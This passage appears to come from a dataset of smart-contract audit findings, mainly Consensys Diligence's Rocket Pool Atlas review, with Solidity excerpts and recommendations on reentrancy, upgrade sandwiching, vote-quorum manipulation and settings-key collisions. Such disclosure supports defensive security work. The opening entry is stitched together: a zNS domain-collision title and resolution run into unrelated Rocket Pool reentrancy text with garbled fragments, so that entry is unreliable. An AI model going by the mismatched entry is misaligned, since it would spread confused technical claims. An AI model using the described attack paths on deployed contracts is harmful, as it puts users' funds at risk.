a dedicated mapping to store the a unique identifier of a bid, as well as adding address(this), block.chainId, registrar and nonce to the message that is being signed by the bidder. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zns/"}, {"title": "5.4 zNS - domain name collisions ", "body": " Resolution Addressed with zer0-os/ZNS@ab7d62a by disallowing empty names for domain registrations. The name validation in off-chain components (e.g. subgraph components) has not been verified. Description Domain registration accepts an empty (zero-length) name. This may allow a malicious entity to register two different NFT s for the same visually indinstinguishable text representation of a domain. Similar to this the domain name is mapped to an NFT via a subgraph that connects parent names to the new subdomain using a domain separation character (dot/slash/\u2026). Someone might be able to register a.b to cats.cool which might resolve to the same domain as if someone registers cats.cool.a and then cats.cool.a.b. Examples 0/cats/ = 0xfe 0/cats/: NodeAddress finalised count increased twice instead minipools.finalised.count: global finalised count increased twice eth.matched.node.amount - NodeAddress eth matched amount potentially reduced too many times; has an impact on getNodeETHCollateralisationRatio -> GetNodeShare, getNodeETHProvided -> getNodeEffectiveRPLStake and getNodeETHProvided->getNodeMaximumRPLStake->withdrawRPL and is the limiting factor when withdrawing RPL to ensure the pools stay collateralized. Note: RocketMinipoolDelegateOld is assumed to be the currently deployed MiniPool implementation. Users may upgrade from this delegate to the new version and can roll back at any time and re-upgrade, even within the same transaction (see issue 5.3 ). The following is an annotated call stack from a node operator calling minipool.finalise() reentering finalise() once more on their Minipool: code/contracts/contract/old/minipool/RocketMinipoolDelegateOld.sol:L182-L191 // Called by node operator to finalise the pool and unlock their RPL stake function finalise() external override onlyInitialised onlyMinipoolOwnerOrWithdrawalAddress(msg.sender) { // Can only call if withdrawable and can only be called once require(status == MinipoolStatus.Withdrawable, \"Minipool must be withdrawable\"); // Node operator cannot finalise the pool unless distributeBalance has been called require(withdrawalBlock > 0, \"Minipool balance must have been distributed at least once\"); // Finalise the pool _finalise(); _refund() handing over control flow to nodeWithdrawalAddress code/contracts/contract/old/minipool/RocketMinipoolDelegateOld.sol:L311-L341 // Perform any slashings, refunds, and unlock NO's stake function _finalise() private { // Get contracts RocketMinipoolManagerInterface rocketMinipoolManager = RocketMinipoolManagerInterface(getContractAddress(\"rocketMinipoolManager\")); // Can only finalise the pool once require(!finalised, \"Minipool has already been finalised\"); // If slash is required then perform it if (nodeSlashBalance > 0) { _slash(); // Refund node operator if required if (nodeRefundBalance > 0) { _refund(); // Send any left over ETH to rETH contract if (address(this).balance > 0) { // Send user amount to rETH contract payable(rocketTokenRETH).transfer(address(this).balance); // Trigger a deposit of excess collateral from rETH contract to deposit pool RocketTokenRETHInterface(rocketTokenRETH).depositExcessCollateral(); // Unlock node operator's RPL rocketMinipoolManager.incrementNodeFinalisedMinipoolCount(nodeAddress); // Update unbonded validator count if minipool is unbonded if (depositType == MinipoolDeposit.Empty) { RocketDAONodeTrustedInterface rocketDAONodeTrusted = RocketDAONodeTrustedInterface(getContractAddress(\"rocketDAONodeTrusted\")); rocketDAONodeTrusted.decrementMemberUnbondedValidatorCount(nodeAddress); // Set finalised flag finalised = true; code/contracts/contract/old/minipool/RocketMinipoolDelegateOld.sol:L517-L528 function _refund() private { // Update refund balance uint256 refundAmount = nodeRefundBalance; nodeRefundBalance = 0; // Get node withdrawal address address nodeWithdrawalAddress = rocketStorage.getNodeWithdrawalAddress(nodeAddress); // Transfer refund amount (bool success,) = nodeWithdrawalAddress.call{value : refundAmount}(\"\"); require(success, \"ETH refund amount was not successfully transferred to node operator\"); // Emit ether withdrawn event emit EtherWithdrawn(nodeWithdrawalAddress, refundAmount, block.timestamp); Methods adjusting system settings called twice: code/contracts/contract/old/minipool/RocketMinipoolManagerOld.sol:L265-L272 // Increments _nodeAddress' number of minipools that have been finalised function incrementNodeFinalisedMinipoolCount(address _nodeAddress) override external onlyLatestContract(\"rocketMinipoolManager\", address(this)) onlyRegisteredMinipool(msg.sender) { // Update the node specific count addUint(keccak256(abi.encodePacked(\"node.minipools.finalised.count\", _nodeAddress)), 1); // Update the total count addUint(keccak256(bytes(\"minipools.finalised.count\")), 1); code/contracts/contract/dao/node/RocketDAONodeTrusted.sol:L139-L142 function decrementMemberUnbondedValidatorCount(address _nodeAddress) override external onlyLatestContract(\"rocketDAONodeTrusted\", address(this)) onlyRegisteredMinipool(msg.sender) { subUint(keccak256(abi.encodePacked(daoNameSpace, \"member.validator.unbonded.count\", _nodeAddress)), 1); Recommendation We recommend setting the finalised = true flag immediately after checking for it. Additionally, the function flow should adhere to the checks-effects-interactions pattern whenever possible. We recommend adding generic reentrancy protection whenever the control flow is handed to an untrusted entity. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.3 RocketMinipoolDelegate - Sandwiching of Minipool calls can have unintended side effects ", "body": " Resolution The client provided the following statement: The slashed value is purely for NO informational purposes and not used in any logic in the contracts so this example is benign as you say. We have fixed this particular issue by moving the slashed boolean out of the delegate and into RocketMinipooLManager. It is now set on any call to rocketNodeStaking.slashRPL which covers both old delegate and new. We appreciate that the finding was more a classification of potential issues with upgrades and rollbacks. At this stage, we cannot change this functionality as it is already deployed in a non-upgradable way to over 12,000 contracts. As this is more of a guidance and there is no immediate threat, we don t believe this should be considered a major finding. With https://github.com/rocket-pool/rocketpool/tree/77d7cca65b7c0557cfda078a4fc45f9ac0cc6cc6 the slashed flag was moved to RocketNodeStaking.slashRPL() (minipool.rpl.slashed| = true). The audit team acknowledges that this issue does not provide a concrete exploit that puts funds at risk. However, due to the sensitive nature and potential for issues regarding future updates, we stand by the initial severity rating as it stands for security vulnerabilities that may not be directly exploitable or require certain conditions to be exploited. Description The RocketMinipoolBase contract exposes the functions delegateUpgrade and delegateRollback, allowing the minipool owner to switch between delegate implementations. While giving the minipool owner a chance to roll back potentially malfunctioning upgrades, the fact that upgrades and rollback are instantaneous also gives them a chance to alternate between executing old and new code (e.g. by utilizing callbacks) and sandwich user calls to the minipool. Examples Assuming the latest minipool delegate implementation, any user can call RocketMinipoolDelegate.slash, which slashes the node operator s RPL balance if a slashing has been recorded on their validator. To mark the minipool as having been slashed, the slashed contract variable is set to true. A minipool owner can avoid this flag from being set By sandwiching the user calls: Minipool owner rolls back to the old implementation from RocketMinipoolDelegateOld.sol User calls slash on the now old delegate implementation (where slashed is not set) Minipool owner upgrades to the latest delegate implementation again In detail, the new slash implementation: code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L687-L696 function _slash() private { // Get contracts RocketNodeStakingInterface rocketNodeStaking = RocketNodeStakingInterface(getContractAddress(\"rocketNodeStaking\")); // Slash required amount and reset storage value uint256 slashAmount = nodeSlashBalance; nodeSlashBalance = 0; rocketNodeStaking.slashRPL(nodeAddress, slashAmount); // Record slashing slashed = true; Compared to the old slash implementation: code/contracts/contract/old/minipool/RocketMinipoolDelegateOld.sol:L531-L539 function _slash() private { // Get contracts RocketNodeStakingInterface rocketNodeStaking = RocketNodeStakingInterface(getContractAddress(\"rocketNodeStaking\")); // Slash required amount and reset storage value uint256 slashAmount = nodeSlashBalance; nodeSlashBalance = 0; rocketNodeStaking.slashRPL(nodeAddress, slashAmount); While the bypass of slashed being set is a benign example, the effects of this issue, in general, could result in a significant disruption of minipool operations and potentially affect the system s funds. The impact highly depends on the changes introduced by future minipool upgrades. Recommendation We recommend limiting upgrades and rollbacks to prevent minipool owners from switching implementations with an immediate effect. A time lock can fulfill this purpose when a minipool owner announces an upgrade to be done at a specific block. A warning can precede user-made calls that an upgrade is pending, and their interaction can have unintended side effects. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.4 RocketDAONodeTrustedActions - No way to access ETH provided by non-member votes ", "body": " Resolution According to the client, this is the intended behavior. The client provided the following statement: This is by design. Description DAO members can challenge nodes to prove liveliness for free. Non-DAO members must provide members.challenge.cost = 1 eth to start a challenge. However, the provided challenge cost is locked within the contract instead of being returned or recycled as system collateral. Examples code/contracts/contract/dao/node/RocketDAONodeTrustedActions.sol:L181-L192 // In the event that the majority/all of members go offline permanently and no more proposals could be passed, a current member or a regular node can 'challenge' a DAO members node to respond // If it does not respond in the given window, it can be removed as a member. The one who removes the member after the challenge isn't met, must be another node other than the proposer to provide some oversight // This should only be used in an emergency situation to recover the DAO. Members that need removing when consensus is still viable, should be done via the 'kick' method. function actionChallengeMake(address _nodeAddress) override external onlyTrustedNode(_nodeAddress) onlyRegisteredNode(msg.sender) onlyLatestContract(\"rocketDAONodeTrustedActions\", address(this)) payable { // Load contracts RocketDAONodeTrustedInterface rocketDAONode = RocketDAONodeTrustedInterface(getContractAddress(\"rocketDAONodeTrusted\")); RocketDAONodeTrustedSettingsMembersInterface rocketDAONodeTrustedSettingsMembers = RocketDAONodeTrustedSettingsMembersInterface(getContractAddress(\"rocketDAONodeTrustedSettingsMembers\")); // Members can challenge other members for free, but for a regular bonded node to challenge a DAO member, requires non-refundable payment to prevent spamming if(rocketDAONode.getMemberIsValid(msg.sender) != true) require(msg.value == rocketDAONodeTrustedSettingsMembers.getChallengeCost(), \"Non DAO members must pay ETH to challenge a members node\"); // Can't challenge yourself duh require(msg.sender != _nodeAddress, \"You cannot challenge yourself\"); // Is this member already being challenged? Recommendation We recommend locking the ETH inside the contract during the challenge process. If a challenge is refuted, we recommend feeding the locked value back into the system as protocol collateral. If the challenge succeeds and the node is kicked, it is assumed that the challenger will be repaid the amount they had to lock up to prove non-liveliness. ", "labels": ["Consensys", "Major", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.5 Multiple checks-effects violations ", "body": " Resolution The client provided the following statement: In many of the cited examples, the external call is a call to another network contract that has the same privileges as the caller. Preventing reentrancy against our own internal contracts provides no additional security. If a malicious contract is introduced via a malicious oDAO they already have full keys to the kingdom. None of the examples provide an attack surface and so we don t believe this to be a major finding and should be downgraded. This finding highlights our concerns about a dangerous pattern used throughout the codebase that may eventually lead to exploitable scenarios if continued to be followed, especially on codebases that do not employ protective measures against reentrant calls. This report also flagged one such exploitable instance, leading to a critical exploitable issue in one of the components. This repeated occurrence led us to flag this as a major issue to highlight a general error and attack surface present in several places. From our experience, there are predominantly positive side-effects of adhering to safe coding patterns, even for trusted contract interactions, as developers indirectly follow or pick up the coding style from existing code, reducing the likelihood of following a pattern that may be prone to be taken advantage of. For example, to a developer, it might not always be directly evident that control flow is passed to potentially untrusted components/addresses from the code itself, especially when calling multiple trusted components in the system. Furthermore, individual components down the call stack may be updated at later times, introducing an untrusted external call (i.e., because funds are refunded) and exposing the initially calling contract to a reentrancy-type issue. Therefore, we highly recommend adhering to a safe checks-effects pattern even though the contracts mainly interact with other trusted components and build secure code based on defense-in-depth principles to contain potential damage in favor of assuming worst-case scenarios. Description Throughout the system, there are various violations of the checks-effects-interactions pattern where the contract state is updated after an external call. Since large parts of the Rocket Pool system s smart contracts are not guarded against reentrancy, the external call s recipient may reenter and potentially perform malicious actions that can impact the overall accounting and, thus, system funds. Examples distributeToOwner() sends the contract s balance to the node or the withdrawal address before clearing the internal accounting: code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L564-L581 /// @notice Withdraw node balances from the minipool and close it. Only accepts calls from the owner function close() override external onlyMinipoolOwner(msg.sender) onlyInitialised { // Check current status require(status == MinipoolStatus.Dissolved, \"The minipool can only be closed while dissolved\"); // Distribute funds to owner distributeToOwner(); // Destroy minipool RocketMinipoolManagerInterface rocketMinipoolManager = RocketMinipoolManagerInterface(getContractAddress(\"rocketMinipoolManager\")); require(rocketMinipoolManager.getMinipoolExists(address(this)), \"Minipool already closed\"); rocketMinipoolManager.destroyMinipool(); // Clear state nodeDepositBalance = 0; nodeRefundBalance = 0; userDepositBalance = 0; userDepositBalanceLegacy = 0; userDepositAssignedTime = 0; The withdrawal block should be set before any other contracts are called: code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L498-L499 // Save block to prevent multiple withdrawals within a few blocks withdrawalBlock = block.number; The slashed state should be set before any external calls are made: code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L686-L696 /// @dev Slash node operator's RPL balance based on nodeSlashBalance function _slash() private { // Get contracts RocketNodeStakingInterface rocketNodeStaking = RocketNodeStakingInterface(getContractAddress(\"rocketNodeStaking\")); // Slash required amount and reset storage value uint256 slashAmount = nodeSlashBalance; nodeSlashBalance = 0; rocketNodeStaking.slashRPL(nodeAddress, slashAmount); // Record slashing slashed = true; In the bond reducer, the accounting values should be cleared before any external calls are made: code/contracts/contract/minipool/RocketMinipoolBondReducer.sol:L120-L134 // Get desired to amount uint256 newBondAmount = getUint(keccak256(abi.encodePacked(\"minipool.bond.reduction.value\", msg.sender))); require(rocketNodeDeposit.isValidDepositAmount(newBondAmount), \"Invalid bond amount\"); // Calculate difference uint256 existingBondAmount = minipool.getNodeDepositBalance(); uint256 delta = existingBondAmount.sub(newBondAmount); // Get node address address nodeAddress = minipool.getNodeAddress(); // Increase ETH matched or revert if exceeds limit based on current RPL stake rocketNodeDeposit.increaseEthMatched(nodeAddress, delta); // Increase node operator's deposit credit rocketNodeDeposit.increaseDepositCreditBalance(nodeAddress, delta); // Clean up state deleteUint(keccak256(abi.encodePacked(\"minipool.bond.reduction.time\", msg.sender))); deleteUint(keccak256(abi.encodePacked(\"minipool.bond.reduction.value\", msg.sender))); The counter for reward snapshot execution should be incremented before RPL gets minted: code/contracts/contract/rewards/RocketRewardsPool.sol:L210-L213 // Execute inflation if required rplContract.inflationMintTokens(); // Increment the reward index and update the claim interval timestamp incrementRewardIndex(); Recommendation We recommend following the checks-effects-interactions pattern and adjusting any contract state variables before making external calls. With the upgradeable nature of the system, we also recommend strictly adhering to this practice when all external calls are being made to trusted network contracts. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.6 Minipool state machine design and pseudo-states ", "body": " Resolution The client acknowledges the finding and provided the following statement. We agree that the state machine is complicated. This is a symptom of technical debt and backwards compatibility. There is no actionable response to this finding as we cannot make changes to the existing 12,000 contracts already deployed. We want to emphasize that this finding strongly suggests that there are design deficits in the minipool state machine that, sooner or later, may impact the overall system s security. We suggest refactoring a clean design with clear transitions and states for the current iteration removing technical debt from future versions. This may mean that it may be warranted to release a new major Rocketpool version as a standalone system with a clean migration path avoiding potential problems otherwise introduced by dealing with the current technical debt. Description Recommendation We strongly discourage the use of pseudo-states in state machines as they make the state machine less intuitive and present challenges in mapping state transitions to the code base. Real states and transitions should be used where possible. Generally, we recommend the following when designing state machines: Using clear and descriptive transition names, Avoiding having multiple transitions with the same trigger, Modeling decisions in the form of state transitions rather than states themselves. In any case, every Minipool should terminate in a clear end state. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.7 RocketMinipoolDelegate - Redundant refund() call on forced finalization ", "body": " Resolution Fixed in https://github.com/rocket-pool/rocketpool/tree/77d7cca65b7c0557cfda078a4fc45f9ac0cc6cc6 by refactoring refund() to avoid a double invocation of _refund() in the _finalise() codepath. Fixed per the recommendation. Thanks. Description The RocketMinipoolDelegate.refund function will force finalization if a user previously distributed the pool. However, _finalise already calls _refund() if there is a node refund balance to transfer, making the additional call to _refund() in refund() obsolete. Examples code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L200-L209 function refund() override external onlyMinipoolOwnerOrWithdrawalAddress(msg.sender) onlyInitialised { // Check refund balance require(nodeRefundBalance > 0, \"No amount of the node deposit is available for refund\"); // If this minipool was distributed by a user, force finalisation on the node operator if (!finalised && userDistributed) { _finalise(); // Refund node _refund(); code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L445-L459 function _finalise() private { // Get contracts RocketMinipoolManagerInterface rocketMinipoolManager = RocketMinipoolManagerInterface(getContractAddress(\"rocketMinipoolManager\")); // Can only finalise the pool once require(!finalised, \"Minipool has already been finalised\"); // Set finalised flag finalised = true; // If slash is required then perform it if (nodeSlashBalance > 0) { _slash(); // Refund node operator if required if (nodeRefundBalance > 0) { _refund(); Recommendation We recommend refactoring the if condition to contain _refund() in the else branch. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.8 Sparse documentation and accounting complexity ", "body": " Resolution The client acknowledges the finding and provided the following statement: Acknowledged and agree. Description Throughout the project, inline documentation is either sparse or missing altogether. Furthermore, few technical documents about the system s design rationale are available. The recent releases increased complexity makes it significantly harder to trace the flow of funds through the system as components change semantics, are split into separate contracts, etc. It is essential that documentation not only outlines what is being done but also why and what a function s role in the system s bigger picture is. Many comments in the code base fail to fulfill this requirement and are thus redundant, e.g. code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L292-L293 // Sanity check that refund balance is zero require(nodeRefundBalance == 0, \"Refund balance not zero\"); code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L333-L334 // Remove from vacant set rocketMinipoolManager.removeVacantMinipool(); code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L381-L383 if (ownerCalling) { // Finalise the minipool if the owner is calling _finalise(); The increased complexity and lack of documentation can increase the likelihood of developer error. Furthermore, the time spent maintaining the code and introducing new developers to the code base will drastically increase. This effect can be especially problematic in the system s accounting of funds as the various stages of a Minipool imply different flows of funds and interactions with external dependencies. Documentation should explain the rationale behind specific hardcoded values, such as the magic 8 ether boundary for withdrawal detection. An example of a lack of documentation and distribution across components is the calculation and influence of ethMatched as it plays a role in: the minipool bond reducer, the node deposit contract, the node manager, and the node staking contract. Recommendation As the Rocketpool system grows in complexity, we highly recommend significantly increasing the number of inline comments and general technical documentation and exploring ways to centralize the system s accounting further to provide a clear picture of which funds move where and at what point in time. Where the flow of funds is obscured because multiple components or multi-step processes are involved, we recommend adding extensive inline documentation to give context. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.9 RocketNodeDistributor - Missing extcodesize check in dynamic proxy ", "body": " Resolution The client decided not to address the finding with the upcoming update. As per their assessment, the scenario outlined would require a series of misconfigurations/failures and hence is unlikely to happen. Following a defense-in-depth approach we, nevertheless, urge to implement safeguards on multiple layers as a condition like this can easily go undetected. However, after reviewing the feedback provided by the client we share the assessment that the finding should be downgraded from Major to Medium as funds are not at immediate risk and they can recover from this problem by fixing the delegate. For transparency, the client provided the following statement: Agree that an extcodesize check here would add safety against a future mistake. But it does require a failure at many points for it to actually lead to an issue. Beacuse this contract is not getting upgraded in Atlas, we will leave it as is. We will make note to add a safety check on it in a future update of this contract. We don t believe this consitutes a major finding given that it requires a future significant failure. If such a failure were to happen, the impact is also minimal as any calls to distribute() would simply do nothing. A contract upgrade would fix the problem and no funds would be at risk. Description Examples code/contracts/contract/node/RocketNodeDistributor.sol:L23-L31 fallback() external payable { address _target = rocketStorage.getAddress(distributorStorageKey); assembly { calldatacopy(0x0, 0x0, calldatasize()) let result := delegatecall(gas(), _target, 0x0, calldatasize(), 0x0, 0) returndatacopy(0x0, 0x0, returndatasize()) switch result case 0 {revert(0, returndatasize())} default {return (0, returndatasize())} code/contracts/contract/RocketStorage.sol:L153-L155 function getAddress(bytes32 _key) override external view returns (address r) { return addressStorage[_key]; Recommendation Before delegate-calling into the target contract, check if it exists. assembly { codeSize := extcodesize(_target) require(codeSize > 0); ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.10 Kicked oDAO members votes taken into account ", "body": " Resolution The client acknowledges the finding and provided the following statement: We are aware of this limitation but the additional changes required to implement a fix outweigh the concern in our opinion. Description oDAO members can vote on proposals or submit external data to the system, acting as an oracle. Data submission is based on a vote by itself, and multiple oDAO members must submit the same data until a configurable threshold (51% by default) is reached for the data to be confirmed. When a member gets kicked or leaves the oDAO after voting, their vote is still accounted for while the total number of oDAO members decreases. A (group of) malicious oDAO actors may exploit this fact to artificially lower the consensus threshold by voting for a proposal and then leaving the oDAO. This will leave excess votes with the proposal while the total member count decreases. For example, let s assume there are 17 oDAO members. 9 members must vote for the proposal for it to pass (52.9%). Let s assume 8 members voted for, and the rest abstained and is against the proposal (47%, threshold not met). The proposal is unlikely to pass unless two malicious oDAO members leave the DAO, lowering the member count to 15 in an attempt to manipulate the vote, suddenly inflating vote power from 8/17 (47%; rejected) to 8/15 (53.3%; passed). The crux is that the votes of ex-oDAO members still count, while the quorum is based on the current oDAO member number. Here are some examples, however, this is a general pattern used for oDAO votes in the system. Example: RocketNetworkPrices Members submit votes via submitPrices(). If the threshold is reached, the proposal is executed. Quorum is based on the current oDAO member count, votes of ex-oDAO members are still accounted for. If a proposal is a near miss, malicious actors can force execute it by leaving the oDAO, lowering the threshold, and then calling executeUpdatePrices() to execute it. code/contracts/contract/network/RocketNetworkPrices.sol:L75-L79 RocketDAONodeTrustedInterface rocketDAONodeTrusted = RocketDAONodeTrustedInterface(getContractAddress(\"rocketDAONodeTrusted\")); if (calcBase.mul(submissionCount).div(rocketDAONodeTrusted.getMemberCount()) >= rocketDAOProtocolSettingsNetwork.getNodeConsensusThreshold()) { // Update the price updatePrices(_block, _rplPrice); code/contracts/contract/network/RocketNetworkPrices.sol:L85-L86 function executeUpdatePrices(uint256 _block, uint256 _rplPrice) override external onlyLatestContract(\"rocketNetworkPrices\", address(this)) { // Check settings RocketMinipoolBondReducer The RocketMinipoolBondReducer contract s voteCancelReduction function takes old votes of previously kicked oDAO members into account. This results in the vote being significantly higher and increases the potential for malicious actors, even after their removal, to sway the vote. Note that a canceled bond reduction cannot be undone. code/contracts/contract/minipool/RocketMinipoolBondReducer.sol:L94-L98 RocketDAONodeTrustedSettingsMinipoolInterface rocketDAONodeTrustedSettingsMinipool = RocketDAONodeTrustedSettingsMinipoolInterface(getContractAddress(\"rocketDAONodeTrustedSettingsMinipool\")); uint256 quorum = rocketDAONode.getMemberCount().mul(rocketDAONodeTrustedSettingsMinipool.getCancelBondReductionQuorum()).div(calcBase); bytes32 totalCancelVotesKey = keccak256(abi.encodePacked(\"minipool.bond.reduction.vote.count\", _minipoolAddress)); uint256 totalCancelVotes = getUint(totalCancelVotesKey).add(1); if (totalCancelVotes > quorum) { RocketNetworkPenalties code/contracts/contract/network/RocketNetworkPenalties.sol:L47-L51 RocketDAONodeTrustedInterface rocketDAONodeTrusted = RocketDAONodeTrustedInterface(getContractAddress(\"rocketDAONodeTrusted\")); if (calcBase.mul(submissionCount).div(rocketDAONodeTrusted.getMemberCount()) >= rocketDAOProtocolSettingsNetwork.getNodePenaltyThreshold()) { setBool(executedKey, true); incrementMinipoolPenaltyCount(_minipoolAddress); code/contracts/contract/network/RocketNetworkPenalties.sol:L54-L58 // Executes incrementMinipoolPenaltyCount if consensus threshold is reached function executeUpdatePenalty(address _minipoolAddress, uint256 _block) override external onlyLatestContract(\"rocketNetworkPenalties\", address(this)) { // Get contracts RocketDAOProtocolSettingsNetworkInterface rocketDAOProtocolSettingsNetwork = RocketDAOProtocolSettingsNetworkInterface(getContractAddress(\"rocketDAOProtocolSettingsNetwork\")); // Get submission keys Recommendation Track oDAO members votes and remove them from the tally when the removal from the oDAO is executed. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.11 RocketDAOProtocolSettingsRewards - settings key collission ", "body": " Resolution The client acknowledges the finding and provided the following statement: We are aware of this limitation but making this change now with an existing deployment outweighs the concern in our opinion. Description A malicious user may craft a DAO protocol proposal to set a rewards claimer for a specific contract, thus overwriting another contract s settings. This issue arises due to lax requirements when choosing safe settings keys. code/contracts/contract/dao/protocol/settings/RocketDAOProtocolSettingsRewards.sol:L36-L49 function setSettingRewardsClaimer(string memory _contractName, uint256 _perc) override public onlyDAOProtocolProposal { // Get the total perc set, can't be more than 100 uint256 percTotal = getRewardsClaimersPercTotal(); // If this group already exists, it will update the perc uint256 percTotalUpdate = percTotal.add(_perc).sub(getRewardsClaimerPerc(_contractName)); // Can't be more than a total claim amount of 100% require(percTotalUpdate <= 1 ether, \"Claimers cannot total more than 100%\"); // Update the total setUint(keccak256(abi.encodePacked(settingNameSpace,\"rewards.claims\", \"group.totalPerc\")), percTotalUpdate); // Update/Add the claimer amount setUint(keccak256(abi.encodePacked(settingNameSpace, \"rewards.claims\", \"group.amount\", _contractName)), _perc); // Set the time it was updated at setUint(keccak256(abi.encodePacked(settingNameSpace, \"rewards.claims\", \"group.amount.updated.time\", _contractName)), block.timestamp); The method updates the rewards claimer for a specific contract by writing to the following two setting keys: settingNameSpace.rewards.claimsgroup.amount<_contractName> settingNameSpace.rewards.claimsgroup.amount.updated.time<_contractName> Due to the way the settings hierarchy was chosen in this case, a malicious proposal might define a <_contractName> = .updated.time that overwrites the settings of a different contract with an invalid value. Note that the issue of delimiter consistency is also discussed in issue 5.12. The severity rating is based on the fact that this should be detectable by DAO members. However, following a defense-in-depth approach means that such collisions should be avoided wherever possible. Recommendation We recommend enforcing a unique prefix and delimiter when concatenating user-provided input to setting keys. In this specific case, the settings could be renamed as follows: settingNameSpace.rewards.claimsgroup.amount.value<_contractName> settingNameSpace.rewards.claimsgroup.amount.updated.time<_contractName> ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.12 RocketDAOProtocolSettingsRewards - missing setting delimiters ", "body": " Resolution The client acknowledges the finding and provided the following statement: We are aware of this limitation but making this change now with an existing deployment outweighs the concern in our opinion. Description Settings in the Rocket Pool system are hierarchical, and namespaces are prefixed using dot delimiters. Calling abi.encodePacked(, ) on strings performs a simple concatenation. According to the settings naming scheme, it is suggested that the following example writes to a key named: .rewards.claims.group.amount.<_contractName>. However, due to missing delimiters, the actual key written to is: .rewards.claimsgroup.amount<_contractName>. Note that there is no delimiter between claims|group and amount|<_contractName>. code/contracts/contract/dao/protocol/settings/RocketDAOProtocolSettingsRewards.sol:L36-L49 function setSettingRewardsClaimer(string memory _contractName, uint256 _perc) override public onlyDAOProtocolProposal { // Get the total perc set, can't be more than 100 uint256 percTotal = getRewardsClaimersPercTotal(); // If this group already exists, it will update the perc uint256 percTotalUpdate = percTotal.add(_perc).sub(getRewardsClaimerPerc(_contractName)); // Can't be more than a total claim amount of 100% require(percTotalUpdate <= 1 ether, \"Claimers cannot total more than 100%\"); // Update the total setUint(keccak256(abi.encodePacked(settingNameSpace,\"rewards.claims\", \"group.totalPerc\")), percTotalUpdate); // Update/Add the claimer amount setUint(keccak256(abi.encodePacked(settingNameSpace, \"rewards.claims\", \"group.amount\", _contractName)), _perc); // Set the time it was updated at setUint(keccak256(abi.encodePacked(settingNameSpace, \"rewards.claims\", \"group.amount.updated.time\", _contractName)), block.timestamp); Recommendation We recommend adding the missing intermediate delimiters. The system should enforce delimiters after the last setting key before user input is concatenated to reduce the risk of accidental namespace collisions. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.13 Use of address instead of specific contract types ", "body": " Resolution The client acknowledges the finding, removed the unnecessary casts from canReduceBondAmount and voteCancelReduction with https://github.com/rocket-pool/rocketpool/tree/77d7cca65b7c0557cfda078a4fc45f9ac0cc6cc6, and provided the following statement: Acknowledged. We will migrate to this pattern as we upgrade contracts. Description Rather than using a low-level address type and then casting to the safer contract type, it s better to use the best type available by default so the compiler can eventually check for type safety and contract existence and only downcast to less secure low-level types (address) when necessary. Examples RocketStorageInterface _rocketStorage should be declared in the arguments, removing the need to cast the address explicitly. code/contracts/contract/minipool/RocketMinipoolBase.sol:L39-L47 /// @notice Sets up starting delegate contract and then delegates initialisation to it function initialise(address _rocketStorage, address _nodeAddress) external override notSelf { // Check input require(_nodeAddress != address(0), \"Invalid node address\"); require(storageState == StorageState.Undefined, \"Already initialised\"); // Set storage state to uninitialised storageState = StorageState.Uninitialised; // Set rocketStorage rocketStorage = RocketStorageInterface(_rocketStorage); RocketMinipoolInterface _minipoolAddress should be declared in the arguments, removing the need to cast the address explicitly. Downcast to low-level address if needed. The event can be redeclared with the contract type. code/contracts/contract/minipool/RocketMinipoolBondReducer.sol:L33-L34 function beginReduceBondAmount(address _minipoolAddress, uint256 _newBondAmount) override external onlyLatestContract(\"rocketMinipoolBondReducer\", address(this)) { RocketMinipoolInterface minipool = RocketMinipoolInterface(_minipoolAddress); code/contracts/contract/minipool/RocketMinipoolBondReducer.sol:L69-L76 /// @notice Returns whether owner of given minipool can reduce bond amount given the waiting period constraint /// @param _minipoolAddress Address of the minipool function canReduceBondAmount(address _minipoolAddress) override public view returns (bool) { RocketMinipoolInterface minipool = RocketMinipoolInterface(_minipoolAddress); RocketDAONodeTrustedSettingsMinipoolInterface rocketDAONodeTrustedSettingsMinipool = RocketDAONodeTrustedSettingsMinipoolInterface(getContractAddress(\"rocketDAONodeTrustedSettingsMinipool\")); uint256 reduceBondTime = getUint(keccak256(abi.encodePacked(\"minipool.bond.reduction.time\", _minipoolAddress))); return rocketDAONodeTrustedSettingsMinipool.isWithinBondReductionWindow(block.timestamp.sub(reduceBondTime)); code/contracts/contract/minipool/RocketMinipoolBondReducer.sol:L80-L84 function voteCancelReduction(address _minipoolAddress) override external onlyTrustedNode(msg.sender) onlyLatestContract(\"rocketMinipoolBondReducer\", address(this)) { // Prevent calling if consensus has already been reached require(!getReduceBondCancelled(_minipoolAddress), \"Already cancelled\"); // Get contracts RocketMinipoolInterface minipool = RocketMinipoolInterface(_minipoolAddress); 